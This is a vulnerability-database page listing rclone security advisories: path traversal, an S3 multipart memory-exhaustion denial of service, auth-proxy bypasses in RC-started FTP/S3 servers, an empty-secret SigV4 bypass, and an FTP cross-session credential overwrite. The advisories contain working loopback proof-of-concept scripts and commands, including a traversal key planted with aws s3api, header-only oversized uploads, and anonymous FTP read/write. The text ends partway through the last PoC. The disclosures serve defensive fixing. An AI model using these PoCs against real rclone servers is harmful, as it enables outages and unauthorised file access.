Where
-Infinity
0

Vendor Risk Score

See how rclone compares to other vendors in security performance

View Risk Score →
Severity
3.4
Path Traversal
AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L

rclone versions 1.56.0 through 1.75.0 contain a path traversal vulnerability in the rclone serve docker volume plugin. newVolume() in cmd/serve/docker/volume.go computes a volume's mountpoint as filepath.Join(drv.root, name) from the attacker-supplied name field of a Docker VolumeDriver.Create request without verifying that the result stays within drv.root (default /var/lib/docker-volumes/rclone), and checkMountpoint() then creates that directory with file.MkdirAll before mounting. A volume name containing enough .. components (e.g. "../../../../../../etc") therefore resolves outside the base directory, allowing anyone able to submit a VolumeDriver.Create request to the plugin socket — normally the Docker daemon, or a workload that can request named volumes in a multi-tenant orchestration setup — to make the privileged rclone plugin process create a directory and mount a remote filesystem specified in the same request at an arbitrary host path, shadowing or disrupting system directories. The advisory notes Volume.restoreState() had the same missing validation when reloading persisted volume state. Fixed in 1.75.1.

First published (updated )
Severity
3.1
Path Traversal
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

rclone before 1.75.1 fails to confine names from server and third-party listing responses to the listed directory, allowing path traversal sequences in object names. Attackers can craft special names containing forward slashes and parent directory references to potentially write outside the destination root, though downstream protections in the local backend currently block actual file escape.

First published (updated )
Severity
5.3
Path Traversal
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Summary

Multiple backends, when given a specially crafted object to copy, can escape the backend confinement.

| Backend | Keep/Close | Per-backend severity | |---|---|---| | sftp | Medium | Real filesystem escape, fires under default encoding. | | smb | Low-Medium | Escapes to a different SMB share the credential can reach. | | ftp | Low | Real, leading-.. overshoot PoC is partly neutralized by encoding; escape bounded to at/below the login base. | | webdav | Low | Server-side ACLs are the real boundary. | | b2 | Low | Same-account sibling bucket crossing on a flat keyspace. | | swift | Low | Same, container. | | qingstor | Low | Same. | | oracleobjectstorage | Low | Same. | | internetarchive | Low | IA items are owner-writable only; confined to user's own items. | | storj | Low | Can retarget a different bucket in the same access grant. | | filelu | Low | Confined to the user's own account. | | shade | Low | Confined to the user's own drive. | | sia | Low | siad API password already grants full-daemon access. |

Root cause

rclone core does not sanitize .. in a source object's Remote() - verified: nothing in fs/march, fs/sync, fs/list, or fs/operations rejects .. segments before the name reaches the destination backend's Put/Update/Mkdir. Confinement is therefore each backend's responsibility, and these backends join root + remote without a check.

This divides into two classes:

- Bucket based backends - bucket.Split(path.Join(f.root, rootRelativePath)): - backend/b2/b2.go:404, backend/swift/swift.go:464, backend/qingstor/qingstor.go:198, backend/oracleobjectstorage/oracleobjectstorage.go:245, backend/internetarchive/internetarchive.go:1016, backend/smb/smb.go:885, backend/storj/fs.go:289. - path.Join collapses .. on the standard (ASCII) form before encoding is applied (e.g. FromStandardPath(path.Join(...)) at backend/b2/b2.go:1641), so EncodeDot never gets the chance to neutralize the ... - lib/bucket.Join does not clean paths (keeps .. as a literal key segment); path.Join does. backend/s3, backend/azureblob, backend/googlecloudstorage already use bucket.Join and are therefore not affected.

- Path based backends - path.Join(root, remote) onto a real path: - sftp: remotePath = path.Join(f.absRoot, f.opt.Enc.FromStandardPath(remote)) (backend/sftp/sftp.go:2497). Default encoding is encoder.Display (== Standard), and FromStandardPath short-circuits to a pass-through in that mode, so .. survives; f.absRoot is absolute, so path.Join("/home/user/root", "../../../../etc/passwd") -> /etc/passwd. - webdav: filePath at backend/webdav/webdav.go:426-432. - ftp: path.Join(f.root, remote) at ~14 sites (e.g. backend/ftp/ftp.go:1247). - filelu, shade, sia: analogous joins.

Precondition that limits reachability

For any of these to fire, a source must hand rclone a Remote() containing raw ... That is only possible when:

1. the source is a flat-keyspace object store (not a filesystem - a local/sftp/smb source cannot represent ../../x as one directory entry), and 2. the offending key was written with native, non-rclone tooling - rclone's own writer applies EncodeDot and rewrites a .. segment to fullwidth .., so you cannot create such a key through rclone.

rclone's source-side listing does pass a natively-planted raw .. key through unchanged (verified for b2: remote := file.Name[len(prefix):] after ToStandardPath, backend/b2/b2.go:858,867). The reports never establish this precondition; it is the same omission across every member of the class.

Example attack

bash Step 1 - attacker, using NATIVE S3 tooling (NOT rclone) on a source the victim ingests from: aws s3api put-object --bucket shared-drop --key '../../victim-backups/pwned.txt' --body evil.txt

Step 2 - victim's ordinary ingest: rclone copy s3-drop:shared-drop b2:victim-uploads/incoming path.Join("victim-uploads/incoming", "../../victim-backups/pwned.txt") = "victim-backups/pwned.txt" -> lands in the victim's victim-backups bucket instead of under incoming/

The blast radius is the victim's own account (a bucket/share/path the configured credential already reaches) - integrity misdirection, not a cross-tenant or confidentiality breach. sftp/smb are the exception in reach (server filesystem / other share), still bounded by the login's own permissions.

Precedent

This is the same class as the already-fixed local backend advisory https://github.com/rclone/rclone/security/advisories/GHSA-7p4m-qxvv-g567, which added (Fs).localPath returning errPathEscapes for names resolving outside the root (backend/local/local.go:819-826). That fix was justified because the destination was the operator's own OS filesystem; the same reasoning extends (at lower severity) to sftp/smb.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

In streamed multipart mode, serve s3 passes the request's declared part length to multipart.NewRW().Reserve(contentLength) before reading any part data. Reserve immediately obtains enough 1 MiB pool pages for the entire declared length. The request handler therefore allocates attacker-selected memory based only on Content-Length or X-Amz-Decoded-Content-Length; the client does not need to transmit the corresponding body.

--multipart-streaming-buffer-limit does not stop the allocation for the current expected part or for one oversized part when the buffer is empty. That exception is intentional to guarantee upload progress, and the flag's short help is scoped to out-of-order parts; this report therefore does not treat the option as a total memory cap. The security issue is the absence of a separate safe maximum or incremental allocation: a small request header can cause an arbitrarily large reservation and exhaust the process or host.

The default S3 configuration allows anonymous access when no authkey is set, so an unauthenticated network client can reach the path in such deployments. Authenticated deployments require a valid S3 credential. Confirmed affected targets are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e, both of which include streamed multipart support.

Affected Assets & Attack Surface

- cmd/serve/s3/s3.go:40-46 defines the streaming buffer limit and describes it as a limit for out-of-order parts. - cmd/serve/s3/server.go:67-101 permits anonymous requests when AuthKey is empty and configures S3 authentication otherwise. - cmd/serve/s3/multipart.go:183-209 admits the declared part size and calls Reserve(contentLength) before io.Copy reads the body. - cmd/serve/s3/multipart.go:220-238 always admits the current expected part and one oversized part when the buffer is empty, even when size > bufferLimit. - lib/multipart/multipart.go:23-24 creates an RW backed by the global memory pool. - lib/pool/readerwriter.go:64-76 rounds the declared length to pool pages and immediately calls GetN. - lib/pool/pool.go:18-23 sets the global pool page size to 1 MiB. - lib/pool/pool.go:223-260 allocates every requested page in GetN. - github.com/rclone/gofakes3@v0.0.7/gofakes3.go:952-1004 parses the request length without an upper bound, including the decoded-length header used for streaming signatures. - github.com/rclone/gofakes3@v0.0.7/gofakes3.go:1021-1023 passes the declared length and unread request body to rclone's streaming UploadPart implementation. - Network attack surface: S3 CreateMultipartUpload followed by UploadPart against a backend eligible for streamed multipart uploads.

Technical Root Cause Analysis

The admission counter and the allocator both use the attacker-controlled contentLength, while the admission rules allow the current part regardless of its size:

go if up.bufferLimit <= 0 || partNumber <= up.nextPart || up.buffered == 0 || up.buffered+size <= up.bufferLimit { up.buffered += size return nil }

Part 1 of a new upload satisfies both partNumber <= up.nextPart and up.buffered == 0, regardless of size. UploadPart then executes:

go rw := multipart.NewRW().Reserve(contentLength)

Reserve calculates the page count and calls pool.GetN. With the default global pool, GetN allocates a 1 MiB byte slice for every missing page. This occurs before io.Copy attempts to read the request body.

The HTTP layer does not independently cap a multipart part length. GoFakeS3 accepts Content-Length as an int64; signed streaming requests can replace it with X-Amz-Decoded-Content-Length. An attacker can send the headers and keep the body idle, retaining the reservation. Multiple uploads or connections multiply the effect.

The documented statement that memory is bounded by “parts in flight” is not an effective byte bound when one part can have an attacker-declared size and is fully preallocated. AWS's normal 5 GiB maximum part size would still be unsafe to reserve on most rclone hosts, and this dependency path does not enforce that maximum before allocation.

Setting the global --max-buffer-memory may change the symptom from allocation to waiting on the global semaphore. It is not a complete fix: the acquisition uses context.Background(), and a request larger than the semaphore capacity cannot ever acquire its requested weight, leaving a handler blocked until process termination.

Proof of Concept & Evidence

Bounded regression test

The following test proves both the limit bypass and immediate allocation without stressing the host. Add it as cmd/serve/s3/securityregressiontest.go:

go package s3

import ( "testing"

"github.com/rclone/rclone/lib/multipart" "github.com/rclone/rclone/lib/pool" "github.com/stretchr/testify/require" )

func TestOversizedCurrentPartReservation(t testing.T) { const ( limit = int64(1 << 20) // 1 MiB configured limit size = int64(16 << 20) // 16 MiB attacker declaration )

up := newMultipartUpload( "bucket", "object", "bucket/object", "bucket/object", nil, limit, )

require.NoError(t, up.waitForTurn(1, size)) require.Equal(t, size, up.buffered)

before := pool.Global().InUse() rw := multipart.NewRW().Reserve(size) t.Cleanup(func() { require.NoError(t, rw.Close()) }) after := pool.Global().InUse()

require.GreaterOrEqual(t, after-before, int(size/int64(pool.BufferSize)), ) }

Run:

sh go test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -v

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

text === RUN TestOversizedCurrentPartReservation --- PASS: TestOversizedCurrentPartReservation (0.00s) PASS

The passing test means a 16 MiB current part is admitted against a 1 MiB limit and immediately consumes at least sixteen 1 MiB pool pages.

Loopback HTTP validation

Use a fresh process and a disposable root. The 64 MiB value below demonstrates the effect safely; do not substitute an out-of-memory value on a production host.

sh mkdir -p /tmp/rclone-s3-root/bucket

./rclone serve s3 /tmp/rclone-s3-root \ --addr 127.0.0.1:8080 \ --multipart-streaming-buffer-limit 1Mi

In another terminal:

sh python3 - <<'PY' import http.client import socket import time import xml.etree.ElementTree as ET from urllib.parse import quote

host = "127.0.0.1" port = 8080

Anonymous mode is intentional here and matches a supported default setup. c = http.client.HTTPConnection(host, port, timeout=5) c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"}) r = c.getresponse() body = r.read() assert r.status == 200, (r.status, body) uploadid = ET.fromstring(body).findtext("{}UploadId") assert uploadid c.close()

declared = 64 1024 1024 path = "/bucket/object?partNumber=1&uploadId=" + quote(uploadid, safe="")

s = socket.createconnection((host, port), timeout=5) s.sendall(( f"PUT {path} HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Content-Length: {declared}\r\n" "Connection: close\r\n" "\r\n" ).encode("ascii"))

No body bytes are sent. Inspect the fresh rclone process while this waits: the handler has reserved 64 pool pages despite the 1 MiB reorder limit. time.sleep(5) s.close() PY

Closing the socket allows the handler to return IncompleteBody and release the pages. Keeping multiple sockets open retains multiple reservations. A sufficiently large declared length can terminate the process before a response is returned.

The final automated validation performed this sequence through the real HTTP listener rather than calling waitForTurn or Reserve directly:

- Started an anonymous serve s3 server on loopback with a local streaming-capable backend. - Set MultipartStreamingBufferLimit to 1 MiB. - Created a multipart upload with an HTTP POST and parsed its returned upload ID. - Recorded pool.Global().InUse() after upload creation. - Opened a raw TCP connection and sent an UploadPart request declaring Content-Length: 16777216. - Sent no request-body bytes. - Observed the in-use count increase by at least sixteen 1 MiB pages while the connection remained open. - Closed the connection, producing the expected short-body unexpected EOF log rather than completing an upload.

The central assertion was:

go const declared = int64(16 << 20) baseline := pool.Global().InUse()

connection, err := net.DialTimeout("tcp", server.Addr().String(), 5time.Second) require.NoError(t, err) , err = fmt.Fprintf(connection, "PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n", partPath, server.Addr().String(), declared) require.NoError(t, err)

wantPages := int(declared / int64(pool.BufferSize)) require.Eventually(t, func() bool { return pool.Global().InUse()-baseline >= wantPages }, 5time.Second, 10time.Millisecond)

It passed on Windows/amd64 with Go 1.26.2:

text === RUN TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody NOTICE: serve s3: No auth provided so allowing anonymous access ERROR : serve s3: unexpected EOF --- PASS: TestSecurityValidationS3MultipartHeaderAllocatesBeforeBody (0.06s)

This demonstrates network reachability, header-only amplification, admission beyond the configured 1 MiB reorder limit, and actual allocation. The test deliberately capped the reservation at 16 MiB; it did not attempt to exhaust the validation host. The same code path reserves pages linearly as the declared length increases.

Impact Assessment

A network client can force the S3 server to reserve memory proportional to an unverified request header before paying the bandwidth cost of sending the declared body. One large part can exceed the out-of-order buffering limit; concurrent uploads multiply memory consumption.

The directly observed primitive is memory reservation proportional to an unverified header before any body bytes arrive. At a sufficiently large declared length, or across concurrent requests, this can exhaust process or host memory, terminate the process, or permanently block request goroutines when the global memory semaphore cannot satisfy an oversized acquisition. Those outcomes cause loss of S3 service availability; no confidentiality or integrity impact is required.

Unauthenticated exploitation applies when the operator uses the documented anonymous S3 mode. With authkey, the attacker must possess an accepted key. Binding to loopback or a trusted management network removes untrusted network reachability but does not correct the resource-accounting defect.

Remediation Guidance

Do not reserve the declared content length before reading verified bytes. Separate the current in-order part from out-of-order buffering:

- For partNumber == nextPart, stream the request body directly into the upload pipe while computing MD5. This path does not need a full-part memory buffer merely to return the ETag after the body has streamed. - For out-of-order parts, allocate incrementally as body bytes arrive and charge each page against the per-upload budget before allocation. Apply backpressure, spool to a bounded temporary file, or reject the request when the budget is exhausted. - Remove Reserve(contentLength) from the untrusted HTTP path. If preallocation remains as an optimization, cap it to a small trusted amount and grow only after bytes are received and accounted. - Enforce an explicit maximum part size before allocation, including both Content-Length and X-Amz-Decoded-Content-Length. Match the intended S3 compatibility limit and return an S3-compatible error such as EntityTooLarge or InvalidRequest. - Reject negative, overflowing, or platform-int-unrepresentable page counts before arithmetic or conversion. - Apply a total server-wide budget across uploads in addition to the per-upload reorder budget. The budget acquisition must use the request context and must fail immediately when a single request exceeds capacity; do not wait forever on context.Background() for an impossible weight. - Limit concurrent multipart uploads and idle request-body time so a client cannot retain reservations indefinitely. - Reconcile the option documentation with the actual guarantee. If one part can exceed the reorder limit for compatibility, state that explicitly, but still enforce an independent safe maximum or incremental allocation.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

serve/start accepts protocol options in a per-server proxyOpt object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global proxy.Opt.AuthProxy instead of the supplied proxyOpt.AuthProxy.

When the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username anonymous with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an authkey, any holder of that key reaches the fixed RC fs instead of the backend selected by the auth proxy.

The S3 no-authkey mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.

Confirmed affected versions are v1.70.0 through v1.75.0, plus development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.

Affected Assets & Attack Surface

- cmd/serve/rc.go:68-93 documents nested per-server proxyOpt support, including AuthProxy. - cmd/serve/rc.go:111-148 resolves the fixed fs and invokes the selected per-protocol RC constructor. - cmd/serve/ftp/ftp.go:96-116 parses the request-local proxyOpt and passes it to newServer. - cmd/serve/ftp/ftp.go:186-207 checks proxy.Opt.AuthProxy at line 202 instead of proxyOpt.AuthProxy; the false branch creates globalVFS from the RC-supplied filesystem. - cmd/serve/ftp/ftp.go:54-60 defines the fallback credentials as user anonymous and an empty password. - cmd/serve/ftp/ftp.go:318-349 accepts any password when the configured fallback password is empty. - cmd/serve/s3/s3.go:76-96 parses and passes the request-local S3 proxy options. - cmd/serve/s3/server.go:67-101 checks proxy.Opt.AuthProxy at line 91 and otherwise exposes the fixed VFS. S3 authentication through AuthKey remains separate from proxy-based backend selection. - Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends. - Configuration attack surface: rclone rc serve/start ... proxyOpt='{"AuthProxy":"..."}' or the equivalent JSON request.

Technical Root Cause Analysis

The serve implementation has two option scopes:

- proxy.Opt is process-global and is populated by command-line/global option parsing. - proxyOpt is a constructor argument populated from the individual serve/start request.

The RC adapters correctly create a local copy, apply the request parameters, and call newServer(..., &proxyOpt). Neither adapter mutates the global. The constructors then branch on the wrong value:

go // Current FTP and S3 pattern if proxy.Opt.AuthProxy != "" { // Uses proxyOpt only after the unrelated global check succeeds. serverProxy = proxy.New(ctx, proxyOpt, vfsOpt) } else { // Fail-open fixed-backend mode. }

Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse proxyOpt, and the generic serve/start documentation gives proxyOpt.AuthProxy as an example.

For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured AuthKey. If no AuthKey is configured, anonymous S3 access is expected behavior and should not be cited as impact.

Proof of Concept & Evidence

The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.

Build the inspected revision, then prepare a fixed filesystem and rejecting proxy:

sh mkdir -p /tmp/rclone-rc-root printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt rm -f /tmp/rclone-auth-proxy-invoked

cat > /tmp/deny-rclone-proxy.sh <<'EOF' #!/bin/sh printf 'invoked\n' >> /tmp/rclone-auth-proxy-invoked cat >/dev/null exit 1 EOF chmod 700 /tmp/deny-rclone-proxy.sh

Start RC on loopback in one terminal:

sh ./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth

Start an FTP server with only the request-local auth proxy configured:

sh ./rclone rc --url http://127.0.0.1:5572 \ serve/start \ type=ftp \ fs=/tmp/rclone-rc-root \ proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \ opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'

Connect with the fallback credentials and exercise read and write access:

sh python3 - <<'PY' import ftplib import io

ftp = ftplib.FTP() ftp.connect("127.0.0.1", 2121, timeout=5) ftp.login("anonymous", "arbitrary-password")

data = bytearray() ftp.retrbinary("RETR secret.txt", data.extend) print(data.decode().strip())

ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n")) ftp.quit() PY

test ! -e /tmp/rclone-auth-proxy-invoked grep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

- Login as anonymous succeeds with an arbitrary password. - secret.txt is returned from the fixed RC filesystem. - overwritten.txt is created in that filesystem. - The rejecting auth-proxy program is never invoked.

The equivalent automated network test, TestSecurityValidationRCPerServerAuthProxyFTP, called the actual serve/start RC handler, connected through github.com/jlaffaye/ftp, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:

text === RUN TestSecurityValidationRCPerServerAuthProxyFTP --- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)

Authenticated S3 backend-routing reproduction

This validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:

sh mkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket printf 'fixed-backend-secret\n' > /tmp/rclone-s3-fixed/bucket/fixed-secret.txt printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt

cat > /tmp/rclone-s3-route-proxy.py <<'PY' #!/usr/bin/env python3 import json import sys

json.load(sys.stdin) print(json.dumps({"type": "local", "root": "/tmp/rclone-s3-proxy"})) PY chmod 700 /tmp/rclone-s3-route-proxy.py

Using the same loopback RC process, start an authenticated S3 server:

sh ./rclone rc --url http://127.0.0.1:5572 serve/start --json '{ "type": "s3", "fs": "/tmp/rclone-s3-fixed", "addr": "127.0.0.1:8080", "authkey": ["validation-key,validation-secret"], "proxyOpt": { "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py" } }'

Send a correctly signed S3 request:

sh AWSACCESSKEYID=validation-key \ AWSSECRETACCESSKEY=validation-secret \ AWSDEFAULTREGION=us-east-1 \ aws --endpoint-url http://127.0.0.1:8080 \ s3api get-object \ --bucket bucket \ --key fixed-secret.txt \ /tmp/rclone-s3-result

grep -F fixed-backend-secret /tmp/rclone-s3-result

If the request-local proxy were active, fixed-secret.txt would not exist because the proxy selects /tmp/rclone-s3-proxy. Current code serves it from /tmp/rclone-s3-fixed. Conversely, a request for proxy-only.txt returns NoSuchKey.

The automated validation TestSecurityValidationRCPerServerAuthProxyS3Routing performed this sequence through the actual serve/start handler and a MinIO Signature V4 client. It used a valid AuthKey, fetched fixed-secret.txt, and confirmed that proxy-only.txt was absent:

text === RUN TestSecurityValidationRCPerServerAuthProxyS3Routing --- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)

This demonstrates backend-authorization bypass, not anonymous S3 access.

Impact Assessment

For RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to serve/start, subject only to VFS options such as readonly. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.

For RC-started S3 servers that combine authkey with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as fs and on the fixed filesystem's VFS permissions.

Exploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.

Remediation Guidance

Change the mode checks in both constructors to use the option object passed to that server:

go if proxyOpt != nil && proxyOpt.AuthProxy != "" { d.proxy = proxy.New(ctx, proxyOpt, vfsOpt) // Do not create a fixed/global VFS in this mode. } else { d.globalVFS = vfs.New(ctx, f, vfsOpt) }

Apply the equivalent change in cmd/serve/s3/server.go. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.

Also:

- Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back. - In S3, make the “allowing anonymous access” log conditional on both the absence of AuthKey and the absence of an active auth proxy, so the log reflects the effective mode. - Add RC integration tests for FTP and S3 with global proxy.Opt.AuthProxy empty and nested proxyOpt.AuthProxy non-empty. - In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked. - In the S3 test, configure AuthKey, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC fs. - Add a multi-server test proving that two simultaneous serve/start instances can use different proxy settings without consulting or mutating global state. - Audit other serve.AddRc implementations for the same pattern: parsing a request-local option but branching on its global counterpart.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary rclone serve s3's handler chain, when --auth-proxy is configured, is (outermost first): authPairMiddleware -> proxyAuthMiddleware -> gofakes3's own SigV4-verifying handler.

authPairMiddleware parses the accessKeyID straight out of the incoming request's own Authorization header (entirely client-controlled) and registers {accessKey: ws.s3Secret} into gofakes3's shared credential store via AddAuthKeys, for EVERY access key any client presents - not just ones previously known to the server. ws.s3Secret defaults to "" whenever --auth-key is not set, which the --auth-proxy documentation (and the reference bin/testproxy.py) presents as a complete, standalone authentication mechanism requiring no other flag - matching how it's used for serve webdav/ftp/sftp.

gofakes3's SigV4 verification then checks the request's signature against exactly the secret authPairMiddleware just registered for that same client-chosen key. An empty string is a valid HMAC key, so a caller can trivially compute a correct SigV4 signature for ANY access key ID of their choosing using an empty secret, and verification passes.

Crucially, the auth-proxy script never receives a real secret to verify against, for S3 specifically: Server.auth() calls w.proxy.Call(md5(accessKeyID), accessKeyID, false, r.RemoteAddr) - passing the access key ID itself as BOTH the hashed "user" and the raw "auth"/password fields. Contrast with serve webdav/ftp/sftp, whose proxy integration passes the client's actual typed password (see bin/testproxy.py, which forwards it into a backing SFTP login for real verification). For S3, no independent secret is ever transmitted to the proxy script at all, so no script - however carefully written - can distinguish a legitimate holder of an access key ID from an attacker who merely picked the same string.

Net effect: with --auth-proxy configured and --auth-key not also set (the configuration the feature is documented to support standalone), SigV4 signature verification authenticates nobody.

Details Vulnerable code (before fix): go func authPairMiddleware(next http.Handler, ws Server) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { accessKey, := parseAccessKeyID(r) authPair := map[string]string{accessKey: ws.s3Secret} ws.faker.AddAuthKeys(authPair) next.ServeHTTP(w, r) }) }

PoC Built and signed a request by hand (via the vendored github.com/aws/aws-sdk-go-v2/aws/signer/v4) using a freshly-random access key ID never configured or returned by anything, with SecretAccessKey: "", against a real rclone serve s3 --auth-proxy <script> instance with no --auth-key set: status=200 <ListAllMyBucketsResult>...<Bucket><Name>mybucket</Name>... A fully authenticated, successful bucket listing, with zero prior credential knowledge.

Impact Any network-reachable, unauthenticated attacker who knows (or discovers) that a target is running rclone serve s3 --auth-proxy without --auth-key can choose an arbitrary access key ID, sign a request against an empty secret, and be treated as an authenticated user by the auth-proxy script - reaching whatever backend that script resolves the chosen identity to. No credentials, prior access, or user interaction of any kind are required.

Fix Refuse to start rclone serve s3 when --auth-proxy is set without --auth-key, rather than silently falling back to a signature check that authenticates nobody: go if proxyOpt.AuthProxy != "" && len(opt.AuthKey) == 0 { return nil, errors.New("serve s3: --auth-proxy requires --auth-key to also be set (SigV4 has no other way to verify a signature for a dynamically-proxied identity)") } Note this is a minimal fix for the zero-knowledge bypass; once --auth-key is also set, every access key ID still shares that one static secret for signature-verification purposes (a caller who knows it can request any identity from the proxy script) - a narrower, pre-existing limitation flagged for awareness but not changed here, since a complete fix needs the auth-proxy wire protocol to carry a per-identity secret for S3 specifically (a larger design change).

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
Race Condition
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Summary

The FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.

This is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: cmd/serve/proxy keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.

Confirmed affected versions are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The username-global map was introduced in v1.64.0, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.

Affected Assets & Attack Surface

- cmd/serve/ftp/ftp.go:170-178 defines userPass map[string]string as driver-global state keyed only by username. - cmd/serve/ftp/ftp.go:318-335 validates (user, pass) through the proxy and then overwrites d.userPass[user]. - cmd/serve/ftp/ftp.go:352-373 retrieves the current map entry by Sess.LoginUser() for every filesystem operation and calls the proxy again with that password. - cmd/serve/ftp/ftp.go:376 onward routes FTP filesystem operations through getVFS, including stat, listing, retrieval, upload, rename, and deletion. - cmd/serve/proxy/proxy.go:114-119 documents credential- and client-IP-aware backend caching. - cmd/serve/proxy/proxy.go:235-243 derives a cache key from username, credential, and client IP. - cmd/serve/proxy/proxy.go:328-365 resolves and verifies the VFS using that composite identity. - Attack surface: any rclone serve ftp --auth-proxy ... deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.

Technical Root Cause Analysis

Authentication initially uses the correct session data:

go d.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())

After success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:

go d.userPass[user] = oPass

For each later FTP operation, getVFS knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.

The authorization sequence is therefore:

1. Session A authenticates as shared with credential A and receives backend A. 2. Session B authenticates as shared with credential B and overwrites userPass["shared"]. 3. Session A performs another FTP command. 4. getVFS uses credential B, not the credential that authenticated Session A. 5. The proxy returns backend B, and Session A's command runs there.

This creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.

Proof of Concept & Evidence

Create two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:

sh mkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim printf 'attacker-only\n' > /tmp/rclone-ftp-attacker/attacker.txt printf 'victim-secret\n' > /tmp/rclone-ftp-victim/victim.txt

cat > /tmp/rclone-ftp-proxy.py <<'PY' #!/usr/bin/env python3 import json import sys

request = json.load(sys.stdin) roots = { "attacker-token": "/tmp/rclone-ftp-attacker", "victim-token": "/tmp/rclone-ftp-victim", }

if request.get("user") != "shared" or request.get("pass") not in roots: sys.exit(1)

print(json.dumps({ "type": "local", "root": roots[request["pass"]], })) PY chmod 700 /tmp/rclone-ftp-proxy.py

Start the FTP server on loopback:

sh ./rclone serve ftp \ --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \ --addr 127.0.0.1:2121 \ --passive-port 30000-30010

In another terminal, keep both sessions open and trigger the overwrite:

sh python3 - <<'PY' import ftplib import io

def connect(password): ftp = ftplib.FTP() ftp.connect("127.0.0.1", 2121, timeout=5) ftp.login("shared", password) return ftp

attacker = connect("attacker-token")

Establish the attacker's original authority. original = bytearray() attacker.retrbinary("RETR attacker.txt", original.extend) assert original == b"attacker-only\n"

try: attacker.size("victim.txt") raise AssertionError("victim file unexpectedly visible before overwrite") except ftplib.errorperm: pass

A second principal logs in with the same username and a different token. victim = connect("victim-token") assert victim.size("victim.txt") > 0

